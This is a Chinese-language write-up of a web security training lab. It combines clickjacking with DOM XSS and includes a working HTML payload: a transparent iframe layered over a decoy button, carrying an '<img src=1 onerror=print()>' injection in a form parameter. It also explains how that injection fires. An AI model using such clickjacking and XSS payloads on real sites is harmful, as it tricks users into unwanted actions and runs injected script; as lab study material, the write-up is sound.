# Clickjacking Lab4 這題目標是讓受害者在不知情的情況下: - 以惡意參數發送回饋表單 - 點擊「Submit feedback」按鈕 - 成功觸發 DOM XSS 中的 print() 函數(模擬攻擊觸發) 一樣先進入網站。 ![image](https://hackmd.io/_uploads/HJpanAT4lx.png) ![image](https://hackmd.io/_uploads/BJe1BgCExl.png) 只要寫一個假的按鈕後,上面再疊一個透明的惡意按鈕,這樣使用者只會看到下層的按鈕,但觸發的效果是上層惡意按鈕的行為。 ```html= <style> iframe { position:relative; width:500px; height: 700px; opacity: 0.00000000000000001; z-index: 2; } div { position:absolute; top:620px; left:80px; z-index: 1; } </style> <div>Click me</div> <iframe src="https://0a41008b04b4170980ad032500af00b9.web-security-academy.net/feedbackk?name=<img src=1 onerror=print()>&email=hacker@attacker-website.com&subject=test&message=test#feedbackResult"></iframe> ``` `<img src=1 onerror=print()>`: 這是 XSS 攻擊中常見的「圖片錯誤觸發事件」,print() 是故意放進去當測試函數(如果是瀏覽器可以執行 alert() 會更明顯),這時候瀏覽器會載入圖片,由於 src=1 是不存在的資源,所以會錯誤,然後觸發。 目的是在測這個網站是否會把 name 這個參數直接插進 HTML(未轉義),造成 XSS。 ### 簡單來說 XSS 就像你在表單寫下「我叫 <炸彈>」,結果網站沒看清楚就當真放進網頁,炸了自己一臉。💥 ![image](https://hackmd.io/_uploads/rJhfXeRVel.png) ---